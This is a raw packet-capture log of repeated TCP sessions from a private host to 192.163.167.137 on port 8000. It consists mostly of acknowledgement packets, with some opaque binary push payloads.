#476\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #478\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #480\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #482\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #484\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #486\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #488\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #490\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [AP] #492\n............x........\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #494\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #496\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #498\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #500\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #502\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #504\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #506\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #508\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #510\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #512\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #514\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #516\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #518\n.\n##\nT 10.152.152.11:64084 -> 192.163.167.137:8000 [A] #520\n.\n#########\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [AP] #529\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q...1....9...\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #531\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #533\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #535\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #537\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #539\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #541\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #543\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #545\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #547\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #549\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #551\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #553\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #555\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #557\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [AP] #559\n............x........\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #561\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #563\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #565\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #567\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #569\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #571\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #573\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #575\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #577\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #579\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #581\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #583\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #585\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #587\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [AP] #589\n............x........\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #591\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #593\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #595\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #597\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #599\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #601\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #603\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #605\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #607\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #609\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #611\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #613\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #615\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #617\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [AP] #619\n............x........\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #621\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #623\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #625\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #627\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #629\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #631\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #633\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #635\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #637\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #639\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #641\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #643\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #645\n.\n##\nT 10.152.152.11:64089 -> 192.163.167.137:8000 [A] #647\n.\n#########\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [AP] #656\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q...1....:...\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #658\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #660\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #662\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #664\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #666\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #668\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #670\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #672\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #674\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #676\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #678\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #680\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #682\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #684\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [AP] #686\n............x........\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #688\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #690\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #692\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #694\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #696\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #698\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #700\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #702\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #704\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #706\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #708\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #710\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #712\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #714\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [AP] #716\n............x........\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #718\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #720\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #722\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #724\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #726\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #728\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #730\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #732\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #734\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #736\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #738\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #740\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #742\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #744\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [AP] #746\n............x........\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #748\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #750\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #752\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #754\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #756\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #758\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #760\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #762\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #764\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #766\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #768\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #770\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #772\n.\n##\nT 10.152.152.11:64095 -> 192.163.167.137:8000 [A] #774\n.\n#########\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [AP] #783\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q..f1..../t.o\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #785\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #787\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #789\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #791\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #793\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #795\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #797\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #799\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #801\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #803\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #805\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #807\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #809\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #811\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [AP] #813\n............x........\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #815\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #817\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #819\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #821\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #823\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #825\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #827\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #829\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #831\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #833\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #835\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #837\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #839\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #841\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [AP] #843\n............x........\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #845\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #847\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #849\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #851\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #853\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #855\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #857\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #859\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #861\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #863\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #865\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #867\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #869\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #871\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [AP] #873\n............x........\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #875\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #877\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #879\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #881\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #883\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #885\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #887\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #889\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #891\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #893\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #895\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #897\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #899\n.\n##\nT 10.152.152.11:64101 -> 192.163.167.137:8000 [A] #901\n.\n#########\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [AP] #910\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q...1....*..]\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #912\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #914\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #916\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #918\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #920\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #922\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #924\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #926\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #928\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #930\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #932\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #934\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #936\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #938\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [AP] #940\n............x........\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #942\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #944\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #946\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #948\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #950\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #952\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #954\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #956\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #958\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #960\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #962\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #964\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #966\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #968\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [AP] #970\n............x........\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #972\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #974\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #976\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #978\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #980\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #982\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #984\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #986\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #988\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #990\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #992\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #994\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #996\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #998\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [AP] #1000\n............x........\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1002\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1004\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1006\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1008\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1010\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1012\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1014\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1016\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1018\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1020\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1022\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1024\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1026\n.\n##\nT 10.152.152.11:64106 -> 192.163.167.137:8000 [A] #1028\n.\n#########\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [AP] #1037\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q...c(5..kZ.V\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1039\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1041\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1043\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1045\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1047\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1049\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1051\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1053\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1055\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1057\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1059\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1061\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1063\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1065\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [AP] #1067\n............x........\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1069\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1071\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1073\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1075\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1077\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1079\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1081\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1083\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1085\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1087\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1089\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1091\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1093\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1095\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [AP] #1097\n............x........\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1099\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1101\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1103\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1105\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1107\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1109\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1111\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1113\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1115\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1117\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1119\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1121\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1123\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1125\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [AP] #1127\n............x........\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1129\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1131\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1133\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1135\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1137\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1139\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1141\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1143\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1145\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1147\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1149\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1151\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1153\n.\n##\nT 10.152.152.11:64111 -> 192.163.167.137:8000 [A] #1155\n.\n#########\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [AP] #1164\n........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq......M.w5.\n_.`....=w..........W.~...z].m..q...c(5..m<.]\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1166\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1168\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1170\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1172\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1174\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1176\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1178\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1180\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1182\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1184\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1186\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1188\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1190\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1192\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [AP] #1194\n............x........\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1196\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1198\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1200\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1202\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1204\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1206\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1208\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1210\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1212\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1214\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1216\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1218\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1220\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1222\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [AP] #1224\n............x........\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1226\n.\n##\nT 10.152.152.11:64117 -> 192.163.167.137:8000 [A] #1228\n.\n##\nT 